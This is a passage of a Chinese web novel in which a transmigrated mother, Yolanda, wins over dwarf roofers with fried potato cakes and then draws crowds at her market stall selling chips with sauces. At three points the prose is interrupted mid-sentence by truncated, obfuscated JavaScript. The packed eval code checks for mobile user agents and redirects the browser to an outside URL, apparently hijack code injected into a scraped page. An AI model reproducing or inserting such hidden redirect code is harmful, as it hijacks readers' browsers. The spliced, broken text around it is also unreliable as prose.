泥炉、陶锅、天平、木柴搬上车，土豆条、薯饼和两罐酱汁盖上麻布挡灰，放在车板中央，少量堆放了几件厨具。 小吃摊所需物品齐备，她试着推起车，比想象的易操作，一个人操作也很稳当。 尤兰达环顾一圈，招手唤来西芙拉和菲奥娜，安排她们采摘葡萄叶，要挑比巴掌大的那种。 小摊贩通常采葡萄叶、睡莲叶当垫底，叶子一对折，就能打包食物带走。 讲究点的会提前采购酸模叶、车前草放井水浸泡，当然，需向客人多收5铜分的“叶子钱”。 尤兰达入乡随俗，也用叶子当一次性餐具。 昨天耽误了许多时间，回来的一路没见着有人卖树叶子，只好冲自家的葡萄藤伸出黑手。 西芙拉和菲奥娜听到召唤，嚼着素三明治摇头晃脑出来，都不问一句采叶子做什么用，乖乖爬上梯子。 尤兰达忙活一通，要紧事安排妥当，总算定下心来，端起放凉的早午饭。 才将三明治送到嘴边，厨房通往店面的拱门，几个小矮人推推攘攘挤进来。 尤兰达匆忙放下食物，“屋顶出了什么问题？” “没、没什么问题……”红发苏珊连忙摆手，搓了搓粗短的手指，“哦，我是说，屋顶的活都做完了。夫人要上去检查一下吗？” 尤兰达狐疑扫他们一眼，一个小矮人按捺不住，羞涩开口。 “其实，我们想问问夫人，您做了什么食物？ 那味道顺着风飘上来，我们被它折磨了整整一上午，实在忍不住了。” 尤兰达惊了一下，她做的食物，竟然沦落到用“折磨”两个字形容？ 红发苏珊见费尔南多夫人神色惊疑，忙补充：35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200989|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不知是哪位厨娘的手艺？它们闻起来太美妙了，我们想知道这叫什么名字，希望在别的餐馆也能品尝到它们。” 小矮人们一大早去城外运茅草和木板，又一路拖进城里，一口饭、一口淡啤酒都没顾上喝，肚子直冒酸水。 和往常一样，大家想着熬一熬，上午很快过去。谁知楼下不断飘来的食物香气，勾得他们心神不宁，满脑子只惦记着赶紧做完活好好吃一顿。 一来二去，他们不自觉地加快了速度，预计要干一上午的活，硬生生提前两个小时完成。 几人一合计，实在好奇楼下究竟做了什么能香成这样，借口请主家验收，趁机进来打听几句。 尤兰达松了一口气，差点以为自己出师未捷身先死，费尽心力做出土著们最讨厌的口味。 “三明治，或者脆脆薯饼？”她试探着回答，“我只做了这两样。当然，如果都不是，那么一定是别家的早午饭。” 她闹不清对方具体被哪种香气勾住了。在尤兰达看来，除了油炸的油脂香，并无太多特别。 小矮人眨了眨茫然的大眼睛，面面相觑。 三明治是什么？ 脆脆薯饼又是什么？ 皇城什么时候冒出了他们不知道新吃食？ “抱歉，夫人，请原谅我们的无知，三明治和脆脆薯饼是吗？我能在哪家餐馆找到它们？” 尤兰达心思一动，正愁找不到两个女儿以外的人试吃，这不，送上门来了。 “三明治和脆脆薯饼是我自己研究的，”她指着桌上餐盘里那十几块刚出锅、正晾着的金黄薯饼，舀了一勺浓稠的番茄酱推过去，“要尝尝看吗？” 小矮人们集体呆住了。 上帝啊，他们遇见天使了吗？ 除了天使，谁会主动请陌生人吃东西？ 小矮人们陷入了激烈的天人交战。 费尔南多夫人分明准备去市集摆摊，这说明她的家境绝不宽裕，食物对她们而言，每一口都弥足珍贵。 即便如此，心善的夫人依然愿意邀请他们品尝…… “还没有其他人尝过呢，这让我没什么信心，期待你们的评价。 说实话，我打算一份薯饼卖10铜币，不知道价格会不会不太合适？”尤兰达诚心发出邀请。 她原打算请邻居开一个试吃大会，顺带以此为由，经营一下邻里关系，经过昨天傍晚那一遭，她怀疑发出邀请会被误会投毒杀人。 红发苏珊委婉提醒：“10铜币可不便宜，恐怕只有工匠们才愿意掏钱尝尝鲜。” 算上食材成本、人工成本、耗损、摊位费等，以及目标利润率和市集溢价，取整后得出三块薯饼为一份、一份10铜币的最终售价，再低就没赚头了。 闻言，尤兰达心里安定许多，完全符合她瞄准的食客群体。 “尝尝吧，如果你们喜欢，欢迎来我店里用餐。”她指了指外面，热情打广告：“瞧，就是这间店铺，我打算经营一家饭馆，下个月开业。” 几个小矮人对视一眼，终究抵不过近在咫尺的美食诱惑。 “咻咻咻”，几只粗短手指灵活伸出，各自捏起一块金黄薯饼，迅雷不及掩耳之势往嘴里塞。 尤兰达那句“蘸酱会更好吃”的提示，在一连串“咔嚓、咔嚓”的脆响下，几乎没人听清。 小矮人们眯着眼，细细咀嚼品味。 薯饼外酥里软，咸味恰到好处，鼠尾草与欧芹碎的香气点缀其中，并不会喧宾夺主。 这口感、这滋味……他们发誓，这辈子绝对没吃过。 不知不觉，一块薯饼已下了肚，意犹未尽的几人舔起油汪汪的指腹。 红发苏珊这才想起夫人的话，懊恼地挥巴掌，拍上学徒后脑勺。 “你们几个馋嘴的土拨鼠，夫人说的话要听完，我们都太失礼了。” 学徒委屈地捂着脑袋，不敢反驳，和大家一起盯住陶碗。 殷红浓郁、泛着诱人光泽，脆脆薯饼都这么好吃了，番茄酱又会是什么滋味呢？ 小矮人们露出眼巴巴的样子，和馋嘴的西芙拉、菲奥娜如出一辙。 尤兰达忍笑将盘子推近他们几寸，“再尝一块？” 红发苏珊的脸顿时比头发还红，神情真诚： “谢谢夫人，很高兴听到饭馆开业的好消息，我们一定会光顾的。10铜币对吗？我十分愿意为它付钱。 最后，我要收回我说过的话，脆脆薯饼卖10铜币可真划算，它和其他食物完全不同。 原谅我形容不出它有多好吃，不过我保证，它会得到大家的喜爱。” “对，我也会付，10铜币不算什么，谢谢夫人让我们有机会吃到它。” “稍等，我还没吃完，我也愿意付钱。” 有人急着掏钱，有人急着捏起第二块，先满足味蕾。 小矮人们将薯饼浸入番茄酱里滚了一圈，沾上厚厚一大坨酱汁。 然后，他们齐齐露出惊艳神色，含糊而陶醉的惊叹脱口而出。 “o.o 哦~” “上帝啊~” “这、这酱汁！” 尤兰达左瞄瞄，右瞧瞧，弯起唇角。 她的小吃摊，稳了。 14. 第 14 章 “铛——” 正午祷告的钟声悠扬浑厚，惊起门前小道上慵懒踱步的鸟雀们，扑腾着扎进树冠。 几片羽毛晃晃悠悠飘落之际，“吱呀”一声，矮人巷北1店的院门从内拉开。 未见人影，车轮碾过石板的声响先一步传来，不一会，尤兰达雄赳赳气昂昂地推着满载的推车出现。 门后，西芙拉和菲奥娜鬼祟地探出半个脑袋，左右张望一圈，一手提起裙摆，一手扶着帽檐，快步跟上。 来到人声鼎沸的大街，西芙拉和菲奥娜更窘迫了，拉下宽檐帽子遮住脸。 “妈妈，为什么非要我们穿辛德瑞拉的裙子？灰扑扑的丑死了，被别人看到……有失体面。” 两人偷感十足，生怕旁边过路人注意到她们，却不知欲盖弥彰的行径会惹来更多注目。 尤兰达感叹一声，这俩孩子真听话，让做什么做什么，做完了才傻乎乎想起来问为什么。 她脚步未停，“我的宝贝女儿如此美丽，你们金子般的头发、蓝宝石一样的眼睛，以及身上的丝绸裙子，会让所有经过的人自惭形秽。 那些整日与铁锤、木刨打交道的工匠们，哪里敢靠近我们的摊子？我们又该怎么把食物卖出去呢？” 西芙拉和菲奥娜眨眨眼，是、是这样吗？ 深知自己容貌出众的女孩们越想越觉得合理，轻易相信了她的话，不自觉挺直脊背，微扬下颌，端起大小姐的矜持傲慢姿态。 “好吧，好吧，如果这能让她们感到安心，”西芙拉整理了一下并不存在的裙裾褶皱，勉为其难的宽容语气，“但我要说的是，区区麻布裙子，哪这么容易折损我们的美貌。” “说实话，他们无需自卑，”菲奥娜拨了拨颈侧的金发，“反正我不会参加他们的舞会。” 尤兰达将女儿们的神态尽收眼底，唇角弯了弯。 幸亏她有先见之明，离开尼尔森家把辛德瑞拉穿过的粗糙廉价麻布裙子全带出来，不然母女三人穿着缝了蕾丝边的精致亚麻裙，恐怕很难招揽到生意。 午后的阳光热烈泼洒，大街小巷里，各色摊子如雨后春笋般冒了出来。 母女三人合力推着平板车，在摩肩接踵的人流中艰难穿行。 抵达工匠街时，掏出摊位铅牌交给巡摊员登记，已是将近下午一点。 摊位不固定，遵循先到先得的原则，尤兰达不客气地选了街口最显眼的位置。 这里有树荫遮阳，还能辐射到广场上往来的人流，风水宝地啊。 街上行人不多，周遭赶来摆摊的小摊贩们陆续支起篷布，尤兰达瞧了一会，利落地架起泥炉，摆出陶锅与酱罐，盖着麻布的薯饼与土豆条一一陈列开。 洗净擦干、叠放整齐的葡萄叶摆在锅边顺手的位置。 一切布置妥当，尤兰达从车底拎出一只小藤篮，递给西芙拉，分派第一项任务： “小西，趁现在人不多，去修道院买两条鳕鱼、四块白面包回来。” 西芙拉一听可以自由活动，接过篮子和铜币，蹦蹦跳跳跑开了。 菲奥娜两眼包着一汪泪，不敢相信妈妈如此偏心。 尤兰达本也没指望十五岁的孩子做什么，一个人行动还自在些，抽出小板凳递给她，让她先去旁边自己玩会。 菲奥娜立刻憋回泪花，选了个最远的位置，撑着下巴观察来往的夫人小姐们的穿着打扮。 皇城的繁华远超幸福小镇，连皇城居民的衣着打扮也光鲜亮丽，好看极了。 工匠街行人渐多，有来采买的居民、仆佣，有工坊跑腿送货的杂役。 尤兰达观望的片刻工夫，两侧卖馅饼、煮豆子的小摊已经开始营业，接待熟客了。 她不敢耽搁，赶紧生起炉火，橘红的火舌舔着陶锅底，猪油缓缓融化，细密气泡一个接一个冒头。 整条街，像她这样“浪费”猪油的小吃摊实在不多见，没一会就吸引了过路人驻足看热闹。 但也只是看热闹。 他们不靠近，不问询，一副“我倒要看看你做出什么名堂”的架势。 尤兰达头一回摆摊直面食客，没什么经验，瞄了他们一眼又一眼，脑海里陆续闪过“要不要吆喝”“怎么吆喝”“吆喝什么”等念头，终于打定主意揽客。 “蘸酱薯条，现炸现卖，7铜币一份。” 她揭开装有番茄酱的陶罐盖子，希望殷红酱汁能勾起他们的食欲。 “薯条是什么？” “听起来很有趣，似乎没见过。” 两人交头接耳讨论起来，完全没有掏钱的意思，并一个跨步，加入右侧煮豆子的等待队伍。 尤兰达沉默了好久。 好在此时油温升至最佳，她专注眼前，抓了一把薯条滑入锅中。 “噼里啪啦！” 热油欢腾炸开，细密气泡簇拥着薯条翻滚，脂肪和蛋白质在高温的充分作用下，香气霸道逸散，在工匠街混沌的食物气味中，杀出一条路。 围观的客人一激灵，下意识后退一步。 这声音，像滚水泼进炭火，像烧红的铁块浸入水中，听起来就危险。 “上帝啊，她把食物扔进油里淹死了？” “闻着倒香，可这夫人不像是会做饭的人。” “只有炼金术士才这么折腾油脂……” 同行的年轻人低声回应，目光中透出些许敬畏与猜疑。 更多外围路过、听不清动静的行人，停住脚步，左右张望，寻找气味的源头。 两旁小吃摊前正排队等待的食客，无不被陌生而剧烈的“噼啪”声与汹涌的香气惊动，拧过脑袋，目光粘着油锅瞧。 以炖煮、烘烤为主流烹饪方式的世界里，“油炸”极为奢侈、罕见。 清澈油脂加热到沸腾，食物浸入其中翻滚、变色、蜷曲，落入围观者眼中，带着令人不安的危险。 路过的小孩被大人死死拽住手腕，不准靠近。兜售果酱的奶奶眯起眼睛，伸头瞅着。几位裹着头巾的妇人连声惊呼，与同伴窃窃私语。 这是哪来的邪门烹饪方式，太可怕了！ 前所未见的烹饪技法，金黄油亮的陌生食物，与众不同的油脂焦香，对众人的视觉和嗅觉造成了双重冲击，无法言喻的新奇感打破了大家的固有观念和认知，牢牢网住四面八方投来的视线。 这……真的是烹饪食物吗？ 他们瞧瞧热气腾腾的锅，又瞧瞧从容的摊主。 身形高挑、裹着素色头巾的丰腴女人，露出的下颌线干净秀致，手指白嫩。 瞧她对待食材的讲究，与其他小吃摊格格不入，不像常年劳作的厨娘，倒像走错了地方的贵族妇人，临时起意来体验市井生活。 观望的人群里响起低低的嘀咕： “到底卖的什么？黄澄澄一条条的。” “这么多油，是要喝下去吗？” “太奇怪了，为什么要放这么多油？” “肯定不能吃，谁家做饭是这样做的？乱来。” 随着工匠街行人增多，前来凑热闹的老外们也多了起来。他们指指点点半天，没一个人愿意掏钱尝鲜。 尤兰达心里嘀咕。 搁现代，瞧见什么新奇食物，就算网上有人吐槽“难吃”，她高低也要尝尝咸淡。 小老外怎么忍得住的？对新鲜事物的接受度，未免也太低了。 她心里着急，面上却不显，只垂着眼，轻巧拨动薯条。 手腕起落间，动作出乎意料的稳当娴熟，与她一身看似养尊处优的气度形成明显反差。 油锅滋啦响，复炸的薯条香气越发浓郁，勾得人胃里发空，喉头不自觉滚动。 他们仍旧看着，眼神里有探究，有困惑，有对陌生食物的戒备，也有对摊主的质疑。 这么僵持下去不是办法。 尤兰达扫视一圈，便将第一批炸好的薯条捞起晾凉。 深色陶锅里，金黄薯条表面泛着油光，随着热气袅袅上升，油脂缓慢沥出，香气几乎凝成钩子。 “咕嘟——” 有人重重吞口水，如石子入井。 “咕噜噜——” 有人腹中雷鸣，惹来几声压抑窃笑。 尤兰达垂眸淡笑，抽来碧绿葡萄叶，堆上薯条，舀起一勺酱汁淋下。 绿叶、红酱、金薯条，三种颜色撞在一起，蛮横闯入大家的视线，鲜亮的色泽光是看着就食欲大开。 尤兰达十分刻意托高展示，周遭吞咽口水的声响更密集了。 她坏心眼地招招手，唤来不远处的菲奥娜。 “小菲，饿不饿？想不想吃薯条？” 菲奥娜戴着宽帽檐的帽子，根本看不见路边有多少人盯着薯条呢，欢快扭头：“饿，吃。” 她忙不迭跑来，接过葡萄叶捧起，捏起薯条蘸着酱汁一口一个。 嘿嘿，姐姐不在，没人跟她抢薯条吃了。 “咔嚓咔嚓” 极轻又极脆的一声，像碾过初秋的落叶。 “妈妈，还要番茄酱，多给一勺嘛。” 薯条固然好吃，可没有酱汁搭配，到底少了点滋味，菲奥娜明显爱酱汁超过爱薯条，恨不得干吃番茄酱。 菲奥娜吃美了，全然没注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200990|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越多的顾客意动，已经有不少人放弃正在排的队伍，转来尤兰达的摊位前逗留。 小丫头吃什么呢，有这么香吗？ 被众人虎视眈眈盯着，菲奥娜慢好几拍察觉不对劲，连忙护住手里食物。 “要吃自己买，可不能抢我的。” 众人闹了个大红脸，他们没想抢，这不头一回见到新奇吃法，想多看几眼嘛。 尤兰达见状，适时捞起第二批薯条，淋上酱汁递出去。 “蘸酱薯条，7铜币一份，现炸现卖，免费试吃一根。” 老外们精着呢，一听免费试吃，一窝蜂涌过来，一人捏起一根。 杰森仗着身材矮小，眼疾手快抢到一根沾了一点点酱汁的金色棍子。 他举起所谓的薯条瞅了瞅，又嗅了嗅，心里满是戒备。 去年有一家餐馆也琢磨出新的秘方，闻所未闻，有人图新鲜光顾过几次，结果上吐下泻，听说差点吃死人。 杰森想起祖父母和父母从小耳提面命的“不要尝试未知食物”的告诫，迟迟下不去嘴。 香是真香，也是真的想尝尝，但…… 他瞄一眼陶锅里不断翻腾的油花，怀疑自己一口咬下去，会不会流出一堆油。 杰森故意拖拉一会，斜眼去瞧和自己一起外出觅食的学徒工艾弗里和约瑟。 他们和他一样，抢到薯条并没有立刻动嘴，而是好奇地举起。 不止他们三人，身边其他抢到试吃薯条的食客们，也都如此。 大家谨慎观察，确认戴宽帽的女孩至今没有什么不良反应，终于小心翼翼送进嘴里，小口咬断，咀嚼—— “Amazing ！” “上帝啊，好独特的口感，这是什么做法？” “你说它是土豆？不不不，你一定在开玩笑。” “一定是哪里搞错了，土豆不是这个味道。” “我是说，它很好吃，但是，土豆不长这样！” 众人表情各异，相似的惊叹与惊呼此起彼伏。 杰森正等待大家的反馈呢，胳膊忽然被人捅了一下。 “杰森你吃了吗？真的是土豆的味道，又有点不一样。”约瑟细细咀嚼品味，神情惊艳，双眼放光。 杰森确定了，他们没有中毒，放心咬下第一口。 “这……”杰森扭头与约瑟对望一眼，异口同声：“真好吃！” 难怪那个女孩子会露出那样的神情！ 薯条只有手指那么长，三两口下去就没了，杰森遗憾地舔舔唇，回味道：“我的薯条没沾上多少酱汁，你呢？你吃到了吗？” 约瑟啊？了一声，“酱汁？我没吃到啊。” 杰森心里平衡了一点，果断拉着约瑟凑近摊子。 “夫人，还有试吃吗？我们想尝尝番茄酱的味道。”杰森羞红了脸。 食物宝贵，张口要免费试吃什么的，怪难为情。 但他们真的需要再尝一尝，一根薯条哪够吃啊，都没嚼出味。 “是啊，一根太少了，我还没吃够。”另一个白胡子小矮人舔着手指帮腔。 “我也想多尝尝番茄酱，好新奇的做法，这和我们平时吃的不太一样。”挎着篮子的壮夫人笑容局促。 第一波试吃活动结束，参与的食客把小吃摊围个水泄不通，外围没赶上的食客踮起脚，誓要瞧清楚怎么个事。 大家七嘴八舌问个不停，尤兰达好声好气回应： “上帝保佑，让我琢磨出这个叫‘油炸’的方法。今天只是一次尝试，没有准备足够多的份量，很遗憾没办法提供更多试吃。 先生、夫人们，要买一份带走吗？炸薯条7铜币一份，再送一勺番茄酱。” 一份炸薯条加一大勺酱汁，售价7铜币，有人嫌贵，有人觉得划算。 “好吧，7铜币不便宜，看在你用了一锅油的份上。”一头卷毛的年轻学徒工掏了掏口袋，递来7枚灰扑扑铜币，“给我来一份吧，多一点红色的酱汁可以吗？” 尤兰达笑容真切了几分。 终于，在隔壁摊位卖出去十几份小吃后，她终于开张了！ “小菲，收钱。” 羊皮小包塞进菲奥娜怀里，尤兰达动作飞快，将初炸定型的薯条扔进锅里复炸。 菲奥娜懵懵抬头，一只黢黑的手送来脏兮兮的铜板。 眨眼工夫，又一只粗糙大手捏着铜币伸来，催促意味地晃了晃。 菲奥娜发誓，她真的只是反应了一会，就一小会儿，七八双手横插过来递钱。 上帝啊，有人争着抢着送钱的感觉真奇妙。 15. 第 15 章 菲奥娜手忙脚乱地收钱。 忙乱中，她暗暗咕哝：家教教导的简单算术，竟会在这种时候派上用场。 上帝可真会捉弄人！ “嘿，先生，”她接过金发青年递来的铜币，一经手便觉分量不对，低头数了数，随即面色不善地提醒，“少给了一枚。” 青年顿时涨红了脸，慌忙道歉，赶紧从皮袋里摸出一枚补上。 菲奥娜满意接过，哗啦一声倒进腰间的羊皮小包，动作透出几分利落。 尤兰达时不时用余光注意着菲奥娜那边的动静，生怕她应付不来，见她能敏锐地辨出钱币数目，心头一松。 好好好，不是小智障。多了个会数钱的小帮手，轻松多了。 尤兰达记着哪些客人已经付过钱，依次将包好的薯条递过去，不忘轻声提醒一句：“拿稳了，小心烫。” 见有人挤太近，几乎要蹭到油锅边，抬高声音吆喝：“往后退一些，热油可不长眼睛！” 周遭不知怎的，静默了一瞬，然后，围住小吃摊的客人们乖巧后撤。 “谢谢你的提醒，善良的夫人。” 年纪不大、满脸雀斑的棕发学徒工深受触动，退到安全地带，捂着胸口望过来。 尤兰达懵了两秒。 这小老外又怎么了，好端端怎么就突然感动起来。 雀斑学徒工扭头和同伴说：“我会继续光顾的。上帝啊，我从来不知道，有人可以在收走你钱的同时，还愿意真心关心你会不会被烫到。” “好吧，好吧，”长胡子的小矮人搓了搓手，一改先前的粗声粗气，温声附和，“我收回之前的偏见……这位夫人的确很善良。 当然，如果她的薯条能再便宜一个铜币，那就更完美了。” 人群里传来几声低笑，方才观望与质疑裹挟的干巴氛围，悄然发生变化。 尤兰达越发莫名，发生了什么她不知道的事吗？ 她不过随口提醒一句“小心烫”，出于基本的善意，也是前世餐饮行业刻进骨子里的服务意识，能让顾客感动至此？ 尤兰达下意识扭头，望向隔壁煮豆子小摊。 摊主老先生全程一言不发，动作机械的收钱、舀粥，只把木勺在桶边磕三下，让余沥流尽，便递出面包碗。 年轻孩子心急接下，烫得直跳脚，摊主连眼皮都没抬一下。而周围人，见怪不怪。 仔细一想，尤兰达闲逛工匠街买小吃时，确实不存在什么服务态度可言，更别提微笑接待、热情招呼了。 一手交钱一手交货，买卖双方全程沉默寡言，有些摊主的态度甚至称得上粗鲁、无礼。 反正，维护客户事情一点不做。 大概是她们母女穿着打扮足够端庄体面，又为保持人设端着架子，这几天外出，尤兰达遇见的摊贩、杂役，大多比较殷勤周到。 她抬眼一扫四周，果不其然，听到她温馨提示的顾客，无论男女老少，无不朝她送来感激的微笑。 一双双蓝色、绿色、棕色的眼睛里，闪烁着一种受宠若惊的、名为感动的光芒。 尤兰达拨弄着油锅里的薯条，一时间不知该摆出什么表情。 这要照搬海底捞那套“宾至如归”的服务方式……小老外们怕不是要当场哭出声吧？ 尤兰达试探性地牵起笑容，直视他们的眼睛，语气放得更温和了些：“欢迎光临，夫人想要哪种蘸酱？小心烫手，请慢——” “我要一份薯条！请多给些蘸酱！” “我、我要两份！” “给我三份！先给我！” “走”的单词尾音没能吐出，唰唰唰，十几个客人争先恐后下单。 尤兰达抽了抽嘴角，抱歉地看一眼旁边被订单淹没，晕头转向的菲奥娜。 怎么说呢……她当然知道服务态度对餐饮行业的影响，但确实没人告诉她，影响能有这么大。 几个原本因价格而迟疑、捏着铜币在摊前踌躇的小学徒，在她甩出一连串的标准服务用语后，像是下定某种决心，一咬牙，将紧攥的铜币递了出来。 人群还在不断聚拢。 有人是被香气吸引，有人是被这前所未见的“油炸”勾起好奇。 而现在，更多人被她与众不同的、带着温度的接待方式留住了脚步。 尤兰达手上动作更快了，油锅滋啦，薯条翻滚，酱勺起落，葡萄叶一片片减少。 …… 时隔数日，游侠骑士约瓦尼再次踏入工匠街，隐约发觉街上有哪里不同。 他骑着马徐徐前行，目光扫过叮当作响的作坊与喧嚷的人流。 直到第N个路人捧着某种用碧绿叶子盛装的食物从他身旁匆匆走过，边走边抓着金黄色的条状物往嘴里塞，脸上是如出一辙的、近乎沉醉的神情，约瓦尼终于找到了异样感的来源。 前几日来皇城，可没见过这副光景，甚至没见过这样的食物。 他只是多瞧了几眼，还没弄清它究竟是什么，目光就已被牢牢攫住，不由冒出品尝一番的念头。 鲜绿的叶、金黄的条、浓稠的红酱，三种颜色撞在一起，太漂亮了。 捧着它的人们步履匆匆，却无人舍得放下，指尖沾着酱汁也浑不在意。 约瓦尼不自觉吞了吞唾沫。 他勒住马，俯身拦住一位埋头疾走的老工匠，礼貌询问：“打扰了，请问您手里的食物……是从哪儿买的？” 老工匠闻声抬起头，浑浊的眼睛扫了他一下，随手朝身后某个方向潦草一指，含糊地“唔”了一声，便又捏起一根薯条塞进嘴里，嚼着走远了。 约瓦尼讪讪直起身，心头的好奇却越发挠人。 这到底是什么，让一群整日与铁锤、火星为伴的糙汉们，齐刷刷流露出期待和珍视的样子。 约瓦尼想到此次前来工匠街另有正事，遂按捺住心中躁动。 他心不在焉地驱马前行，祈祷朋友推荐的工匠足够靠谱，早早锻造好他需要的长剑，目光仍不由自主地追随工匠、学徒、洗衣工……捧着的绿叶包。 他想，等取到新的长剑，定要找到那个摊子，亲自尝尝它们是什么滋味。 无关紧要却挥之不去的念头尚在心间盘旋，约瓦尼没想到，穿过小广场，才走到工匠街街口，就从一群看热闹的人堆里找见了以严苛著称的匠人。 他健硕的身躯和浓密蓬乱的大胡子实在醒目，想认不出都难。 “老铁锤，我的剑——” 话音未落，却见锤下火花四溅时连眼皮都不多抬一下的铁匠，低头专注地舔着油光光的指尖，脸上露出近乎虔诚的满足。 约瓦尼见他对自己的呼喊充耳不闻，挑起眉，翻身下马。 他三两步走近，下一瞬，霸道而陌生的焦香便蛮横地撞进了鼻腔。 “好香！” 他挤到摊前时，铁匠正依依不舍地捏着最后半根条状食物，在红艳艳的酱汁里滚了又滚，郑重地塞进嘴里。 喉结滚动，一声模糊的喟叹从胡须丛中漏了出来。 “……这是什么？” “薯条。”铁匠全然没发现顾客找上门，含糊应道，眼睛还盯着油锅。 约瓦尼顺着他的视线望去，从攒动的人头缝隙间，终于看清了摊上售卖的食物，正是他一路惦记的那抹金黄。 他不禁失笑。 这可真是……巧了。 听到摊主清晰的报价，约瓦尼毫不犹豫数出七枚铜币，递给摊边收钱的少女。 “我要一份薯条。” 少女利落接过钱。几乎是同时，裹着头巾、脊背挺直的摊主朝他颔首微微笑，随即递来一份宽大葡萄叶托着的金黄小山和红色山尖。 “慢点吃，小心烫。” 约瓦尼下意识伸手接过，然后，整个人呆愣了好几秒。 等等，发生了什么？他才刚付完钱不是吗？ 薯条就这么……出现在手心里了？ 还有那句提醒——小心烫？ 他古怪地望向摊主，对方已经转身招呼下一位客人，声音依旧温和，说着相似的、在喧嚣市集中显得格格不入的暖心话语。 这真是……一家特别的小吃摊。 约瓦尼退出拥挤人群，走到一旁安静的屋檐下。他老老实实等了一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200991|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿，等薯条没那么烫时才捡起一根，学着旁边的其他人，蘸上酱汁塞进嘴里。 “奥——” 第一口下去，酥脆的外壳在齿间碎裂，内里温热绵软，混着酸咸微甜的浓郁酱汁…… 约瓦尼以骑士荣誉发誓，他走过数十个王国、无数座城池，从未尝到过如此新奇又美味的食物。 薯条？真是再贴切不过的名字。 一份薯条远不足以饱腹，约瓦尼品出其中滋味后，叶子上只剩下稀稀拉拉的酱汁。 他瞧了瞧四周，不少人旁若无人的实践他刚冒出的“不体面”的念头。 他们将葡萄叶送到嘴边，伸出舌头一卷，把那点残留的酱汁舔得干干净净，末了还咂咂嘴。 约瓦尼终究没好意思出失礼的举止，可番茄酱的独特滋味像羽毛一样，始终挠着他心尖。 只买一份真是个错误的决定。 懊悔只在心头停留片刻，他果断抛下空叶，重新挤进人群。 “我要三份薯条，请多给些番茄酱。” “薯条卖完了，”摊主朝他抱歉地笑了笑，手指转向另一盆金黄的小方块，“试试薯饼吗，先生？价格贵些，10铜币一份。” 人群里响起一阵嗡嗡声。 有人抱怨怎么就卖完了，这也太少了。 有人追问薯饼是什么，和薯条有什么不一样。 更多人聚在一起议论价格。 10铜币，够吃上配面包碗的麦粥了，那可是正餐。几个小方块要花10铜币，再有钱也得掂量着花。 计划买薯条的人迟疑了，不确定要不要多花三个铜币换成薯饼。 约瓦尼嘴巴比脑子快，抢先问：“买薯饼也配番茄酱吗？” 摊主笑吟吟说：“配，还另外准备了蜂蜜柠檬芥末酱，欢迎大家购买。” 约瓦尼一听有酱汁，不做他想，“薯饼也不错，给我三份。” 10铜币而已，不算贵。 他数出三十枚铜币交出去，收钱的少女已然焦头烂额，鼻头冒出热汗。 摊主的脾气和她的声音一样温和，安抚少女，让她慢慢数、分批次数，自己则飞快数出对应份量的薯饼放进油锅。 虽然买不到薯条了，周围也没人离开，都等着约瓦尼的薯饼。 没一会，三份薯饼推在一片叶子上，摊主大方极了，一半浇上番茄酱，一半浇上润泽油亮的什么芥末酱，满满一大勺呢。 “伙计，快尝尝，是什么味？” “是啊，难道比薯条更好吃吗？” “请一定告诉我，它值不值10铜币。” “是啊是啊，我可以花10铜币，但我得知道值不值。” 大家围拢过来，一双双眼睛直勾勾盯着他，催促他快些吃。 约瓦尼不自在的笑了笑，捏起薯饼吹了两口，送到嘴边。 入口的刹那，他眼底倏地掠过一丝惊异。灰色眼眸震颤着瞪大，连咀嚼的动作都顿了一拍。 外壳比薯条酥脆，牙齿磕碰的瞬间，发出清晰利落的碎裂声，难怪叫它“脆脆薯饼”。 酥壳的内里，鼠尾草与欧芹碎的芬芳温柔地渗入其中，比薯条更厚实、更饱满，也更让人停不下来。 番茄酱暂且不提，他喜欢极了，倒是摊主调配的黄绿色酱汁，芥末一点不冲，酸甜的口感盖住了芥末籽的辣，又不会完全夺走芥末的存在感，比番茄酱更惊艳他。 约瓦尼从不认为芥末有多好吃，不过是佐餐时惯常出现的、略带刺激的背景调味而已，平民才吃它。 谁能想到呢，芥末籽也能搭配出这样的滋味。 一块接一块，约瓦尼反应过来时，手中薯饼已经吞下大半，剩下一半孤零零躺着，怎么看怎么不够他塞牙缝。 “怎么样？好吃吗，你快说啊。” “肯定好吃，他都连着吃了好几块。” “没说话，肯定是好吃了啊。” 约瓦尼连连点头回应大家，爽快地掏出一枚银币，“请再来十份。” 银币一出，周围喧闹开来，不可思议的惊呼持续飘出。 薯饼真有这么好吃？ 16. 第 16 章 古今中外，从来不缺跟风的人。 尤兰达惊喜收获一枚银币后，生意迎来了一波小高峰，冲着薯条等待观望的人群陆陆续续掏出钱币。 “奥——夫人，你早该告诉我们有薯饼的存在，这可比薯条管饱。” “薯条很美味，不过少了点香草味道真让人遗憾，薯饼完美解决了这个问题。” 